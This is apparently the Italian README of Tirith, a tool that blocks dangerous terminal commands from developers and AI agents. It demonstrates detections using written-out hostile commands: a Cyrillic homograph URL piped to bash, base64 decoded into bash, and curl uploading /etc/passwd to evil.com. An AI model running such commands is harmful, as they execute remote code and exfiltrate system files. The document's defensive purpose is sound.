
Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.
Il tuo browser lo intercetterebbe. Il tuo terminale no.
Sito web | Documentazione | SKILL.md | Changelog | Release
Progetto open-source indipendente, con hosting supportato dal Vercel Open Source Program (Spring 2026 Cohort).
Riesci a notare la differenza?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Non puoi. Nemmeno il tuo terminale. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL si risolve sul server di un attaccante. Lo script viene eseguito prima che tu te ne accorga.
I browser hanno risolto questo problema anni fa. I terminali continuano a visualizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza porsi domande. Gli agenti AI eseguono comandi shell e installano pacchetti senza ispezionare cosa contengono.
**Tirith sta al cancello.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevole e pacchetti/domini/IP noti come dannosi da un database firmato di threat intelligence prima che vengano eseguiti.```bash
brew install tirith
Poi attivalo nel tuo profilo shell:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricade su `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.
Questo è tutto per la copertura della shell interattiva. I comandi accettati da quella shell vengono
controllati mentre l'hook è caricato e funzionante; il comportamento esatto di blocco dipende
dalla shell e dalla modalità. Esegui `tirith doctor` dopo l'installazione e gli aggiornamenti, e
leggi [enforcement by shell](#enforcement-by-shell) prima di considerare l'hook come
un confine di autorizzazione. I comandi puliti rimangono silenziosi e normalmente seguono il
percorso rapido.
Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).
---
## Guardalo in azione
**Attacco homograph, bloccato prima dell'esecuzione:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Il comando non viene mai eseguito.
Pipe-to-shell con URL pulito, avvisato, non bloccato:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Avviso stampato su stderr. Il comando viene comunque eseguito.
**Catena di decodifica-esecuzione Base64, bloccata:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Rileva anche le catene di decodifica attraverso wrapper sudo/env e PowerShell -EncodedCommand.
Esfiltrazione di credenziali, bloccata:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Copre tutti i flag di upload di curl/wget, le variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`) e la sostituzione di comandi.
**File di skill malevolo, rilevato durante la scansione:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Analizza file JS/Python alla ricerca di payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.
Comandi normali, invisibili:``` $ git status $ ls -la $ docker compose up -d
Niente. Zero output. Dimentichi che tirith è in esecuzione.
---
## Cosa rileva
**244 regole di rilevamento in 35 categorie.**